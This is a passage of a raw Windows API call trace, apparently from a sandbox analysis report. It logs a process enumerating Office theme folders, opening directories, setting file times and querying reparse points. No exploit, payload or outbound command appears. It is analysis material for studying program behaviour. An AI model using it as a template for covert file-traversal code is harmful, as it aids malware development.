dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0059.872] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0059.872] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.872] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0059.872] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0059.872] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.872] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.872] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.872] GetLastError () returned 0x12 [0059.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fc650) returned 1 [0059.872] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0059.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fc548) returned 1 [0059.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0059.872] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0059.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.872] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0059.873] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0059.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fd3a8 [0059.873] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fd3a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fd3a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0059.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fd3a8) returned 1 [0059.873] NtClose (Handle=0x16c) returned 0x0 [0059.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0059.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0059.873] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0059.873] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.873] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0059.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0059.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f30b0 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc548 [0059.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f30d0 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fc650 [0059.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f30f0 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fcf98 [0059.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.874] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0059.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f3110 [0059.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fd0a0 [0059.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0059.875] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.875] GetLastError () returned 0x12 [0059.875] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0059.875] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0059.875] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.875] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0059.875] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0059.875] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.875] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.875] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.875] GetLastError () returned 0x12 [0059.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0059.875] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0059.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0059.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0059.875] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0059.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0059.875] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0060.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0060.018] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0060.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fd3a8 [0060.018] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fd3a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fd3a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0060.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fd3a8) returned 1 [0060.018] NtClose (Handle=0x160) returned 0x0 [0060.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0060.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0060.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fd1a8 [0060.018] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0060.018] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.019] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f9f40 [0060.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f3130 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f9e38 [0060.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.019] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f3150 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fd3c0 [0060.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.019] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff3c0 [0060.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fd4c8 [0060.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0060.020] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0060.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 